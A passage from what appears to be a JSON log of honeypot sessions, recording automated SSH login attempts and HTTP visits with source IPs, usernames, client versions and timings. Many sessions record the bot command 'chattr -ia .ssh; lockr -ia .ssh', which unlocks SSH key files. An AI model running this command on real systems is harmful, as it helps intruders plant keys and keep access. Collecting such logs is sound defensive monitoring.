  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 551,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T18:01:46.915015+00:00",
  "ended_at": "2026-08-26T18:01:48.495916+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "80eaffd2-7ffe-43fc-b5f0-a10260abfe0c",
  "name": "nautical-jagged-redstart",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 35804,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T18:01:27.739730+00:00",
  "ended_at": "2026-08-26T18:01:29.320091+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8a912ea6-3c72-4e58-98e2-49990889d5d0",
  "name": "balmy-lawful-hornbill",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 35794,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T18:01:24.920886+00:00",
  "ended_at": "2026-08-26T18:01:26.694946+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6f5791c3-fba9-4d8c-93d1-ac54ecc14cfc",
  "name": "bashful-civil-jaguar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 39658,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 551,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T17:58:46.871208+00:00",
  "ended_at": "2026-08-26T17:58:47.874485+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "5f1e1899-4b02-4a40-ae75-c2815cef4c03",
  "name": "curious-autumn-stonechat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 44486,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:58:28.492479+00:00",
  "ended_at": "2026-08-26T17:58:30.549116+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "766da21a-fd4c-4902-ad4b-f456d5f89cc4",
  "name": "wandering-ancient-wombat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 44472,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:58:25.437697+00:00",
  "ended_at": "2026-08-26T17:58:27.447316+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ebfdb331-fbb7-4aa4-895d-de709ba7ddf3",
  "name": "amber-blithe-skylark",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 58920,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:58:20.643855+00:00",
  "ended_at": "2026-08-26T17:58:31.397808+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fdefcf31-5959-4a78-a4a7-474b4a054b48",
  "name": "regal-marine-squirrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.163.40.5",
  "src_port": 55980,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:58:05.047656+00:00",
  "ended_at": "2026-08-26T17:58:06.128396+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "42c8c558-be26-41de-bb4f-a2857d57b4d0",
  "name": "somber-frugal-raven",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 45384,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 527,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T17:55:47.776042+00:00",
  "ended_at": "2026-08-26T17:55:48.730455+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "2f5119b6-2a30-4846-8d2f-c65086c7569f",
  "name": "seaward-snowy-macaw",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 45414,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:55:30.459779+00:00",
  "ended_at": "2026-08-26T17:55:31.564758+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b6e3b40b-b8c3-4cf0-b061-ce1a17cd4359",
  "name": "barren-diligent-bluebird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 45398,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:55:27.891035+00:00",
  "ended_at": "2026-08-26T17:55:29.346450+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6e386465-3bb6-4d0e-94d3-53afdbec0a0f",
  "name": "bashful-coastal-dingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 33048,
  "username": "b1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 528,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T17:52:45.810411+00:00",
  "ended_at": "2026-08-26T17:52:47.218282+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2241
 },
 {
  "id": "a05fdcdb-b860-4034-a30a-4ac6dffa5b0b",
  "name": "northern-mellow-marten",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 37090,
  "username": "b1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:52:26.545430+00:00",
  "ended_at": "2026-08-26T17:52:28.377247+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "082595a6-9446-4579-a0ae-dfdcb9c11096",
  "name": "lively-sterling-hare",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 37088,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:52:24.732356+00:00",
  "ended_at": "2026-08-26T17:52:25.494551+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "85e5618c-019d-4ab9-b5ec-763679292810",
  "name": "brave-mighty-otter",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 51704,
  "username": "administrator",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 526,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T17:49:45.923841+00:00",
  "ended_at": "2026-08-26T17:49:47.279948+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2272
 },
 {
  "id": "edb906a0-6164-4540-8162-1aecb785af8f",
  "name": "rambling-fearless-magpie",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 41254,
  "username": "administrator",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:49:26.073654+00:00",
  "ended_at": "2026-08-26T17:49:27.881380+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4b0d796d-556e-47ff-b9a2-39e50854add1",
  "name": "feathered-gallant-pipit",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 41248,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:49:24.272337+00:00",
  "ended_at": "2026-08-26T17:49:25.026614+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "19a74aa4-25f2-4f33-a4a1-6908595870bb",
  "name": "vaulted-barren-tanager",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "34.142.216.14",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:48:28.318628+00:00",
  "ended_at": "2026-08-26T18:04:00.332445+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b28b3946-f40a-4a62-aad3-426a0baa5ba0",
  "name": "ginger-blithe-oxpecker",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 45198,
  "username": "camera",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 527,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T17:46:44.963741+00:00",
  "ended_at": "2026-08-26T17:46:46.472443+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2253
 },
 {
  "id": "1f40da99-28b2-4aeb-9ec1-ac387599c442",
  "name": "gnarled-brave-kudu",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 48932,
  "username": "camera",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:46:26.381371+00:00",
  "ended_at": "2026-08-26T17:46:27.364697+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3fd97244-c8fa-48c8-b952-c6013b95ab3a",
  "name": "civil-hazel-lapwing",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 45206,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:46:23.296895+00:00",
  "ended_at": "2026-08-26T17:46:25.292235+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "169023a0-0ede-4e03-adb5-e88b9b5602f1",
  "name": "solar-serene-caracal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 60385,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:46:11.378509+00:00",
  "ended_at": "2026-08-26T17:46:34.544766+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8362a899-814a-4232-9e21-5f7d15ea2953",
  "name": "ruddy-ancient-hyrax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 58700,
  "username": "osadmin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 528,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T17:43:45.444701+00:00",
  "ended_at": "2026-08-26T17:43:46.470951+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2256
 },
 {
  "id": "66d62e91-8f0e-4b22-a41c-8478c6ee8cd8",
  "name": "rambling-gnarled-macaw",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 41446,
  "username": "osadmin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:43:27.535392+00:00",
  "ended_at": "2026-08-26T17:43:28.467684+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "411a2718-a629-4d6e-8f08-16b3a5491932",
  "name": "plush-barren-quokka",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 41434,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:43:24.459429+00:00",
  "ended_at": "2026-08-26T17:43:26.480124+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1c769f06-f9f6-43a3-b9d6-eb995d5ad61e",
  "name": "shifting-granite-puffin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 36146,
  "username": "user1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 528,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T17:40:50.947543+00:00",
  "ended_at": "2026-08-26T17:40:52.293510+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2248
 },
 {
  "id": "c0d055a1-319c-4faa-9f4d-d8d85184573e",
  "name": "windswept-hazy-reindeer",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 36166,
  "username": "user1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:40:32.997381+00:00",
  "ended_at": "2026-08-26T17:40:34.010607+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b6b67f17-8867-4489-8ab5-659ac66b75ce",
  "name": "stoic-northern-lapwing",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 36152,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:40:30.320753+00:00",
  "ended_at": "2026-08-26T17:40:31.917460+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "93ef68b0-34e4-4cb8-9604-d7f2d61343c0",
  "name": "bitter-amiable-goldfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 59452,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 536,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T17:37:47.927305+00:00",
  "ended_at": "2026-08-26T17:37:49.152592+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "1e328fc8-c40a-4c9c-aa2b-40be2586da3c",
  "name": "thrifty-emerald-impala",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 59468,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:37:30.427322+00:00",
  "ended_at": "2026-08-26T17:37:31.300904+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f1cef4ea-78be-4895-83ac-7da4b2a223ec",
  "name": "distant-boreal-goldfinch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 59464,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:37:28.036435+00:00",
  "ended_at": "2026-08-26T17:37:29.373582+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "954d7ebc-130c-4093-8730-2d8c4b6ea938",
  "name": "vivid-graceful-tinamou",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "216.73.216.122",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:35:49.502118+00:00",
  "ended_at": "2026-08-26T17:51:00.272657+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "79f7ac4d-90e9-48c0-970f-f9867fa65fd3",
  "name": "western-bronzed-lynx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 35534,
  "username": "test",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 511,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T17:34:46.894710+00:00",
  "ended_at": "2026-08-26T17:34:48.125503+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2247
 },
 {
  "id": "07f0c14a-38ff-431a-9dcd-ca020fad57b2",
  "name": "frugal-obsidian-shearwater",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 35540,
  "username": "test",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:34:30.363623+00:00",
  "ended_at": "2026-08-26T17:34:31.363838+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "88859f45-0442-4b95-b713-4564c3acd736",
  "name": "brazen-russet-fossa",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 35536,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:34:27.497383+00:00",
  "ended_at": "2026-08-26T17:34:29.312136+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c7f4841d-94b6-48a5-a1a5-b3460139507d",
  "name": "faded-hushed-hamster",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 48426,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 541,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T17:31:49.785155+00:00",
  "ended_at": "2026-08-26T17:31:51.183273+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2257
 },
 {
  "id": "d2d5b070-d4e3-4121-b8ae-daa63f6048b5",
  "name": "freckled-granite-lemur",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 48440,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:31:29.478447+00:00",
  "ended_at": "2026-08-26T17:31:30.683495+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "655d4633-60af-407c-ac13-1d982885128d",
  "name": "creaky-frank-vervet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 48436,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:31:26.584798+00:00",
  "ended_at": "2026-08-26T17:31:28.420427+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ca44722c-8e24-4640-ac8d-99a7a80da1f9",
  "name": "sincere-weathered-squirrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 59808,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 549,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T17:28:55.684304+00:00",
  "ended_at": "2026-08-26T17:28:57.131528+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "d3d3f851-c108-4caf-a22f-1c622f114988",
  "name": "opal-polar-eider",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "85.11.167.154",
  "src_port": 11438,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:28:44.120824+00:00",
  "ended_at": "2026-08-26T17:28:44.427080+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9a18d25b-6cff-4a2d-adda-43e582265258",
  "name": "amiable-clever-koala",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 49454,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:28:35.903048+00:00",
  "ended_at": "2026-08-26T17:28:37.228375+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9c2406a9-0008-47b8-8b68-e946d7c935cb",
  "name": "rustic-barren-wagtail",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 59818,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:28:32.817757+00:00",
  "ended_at": "2026-08-26T17:28:34.862488+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5d26cd9e-4b19-47b7-ac20-6dbde0f43be6",
  "name": "curious-silent-camel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 60235,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:27:04.282434+00:00",
  "ended_at": "2026-08-26T17:27:16.940869+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a8facad8-67f4-4525-a4c9-aaf6a61ab322",
  "name": "airy-mindful-tern",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "121.185.89.74",
  "src_port": 35474,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh2_1.11.2_DEV",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:26:40.691173+00:00",
  "ended_at": "2026-08-26T17:26:42.952240+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "04d8d87e-c675-4844-aef2-717c1814d070",
  "name": "painted-canny-curlew",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 35508,
  "username": "kevin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 525,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T17:25:58.561111+00:00",
  "ended_at": "2026-08-26T17:26:00.154051+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2258
 },
 {
  "id": "e2b06e11-fc29-4a78-b067-2f1e1224b553",
  "name": "mottled-cheerful-elk",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 35522,
  "username": "kevin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:25:39.857531+00:00",
  "ended_at": "2026-08-26T17:25:41.770952+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4200c956-bfe6-4b6b-9597-858941d4492a",
  "name": "reedy-icy-koala",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 35510,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:25:37.906216+00:00",
  "ended_at": "2026-08-26T17:25:38.864214+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "39903069-3c22-4431-8450-2946f5866bad",
  "name": "ashen-airy-hare",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 57360,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:24:13.812645+00:00",
  "ended_at": "2026-08-26T17:24:24.944223+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4218c19a-437a-497c-96ad-c76533e859b1",
  "name": "lawful-sturdy-serval",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 45024,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 526,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T17:23:07.545343+00:00",
  "ended_at": "2026-08-26T17:23:08.968897+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "c6e117e0-8e3d-4250-aa4e-bd8462439e47",
  "name": "hushed-hazel-sloth",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 45032,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
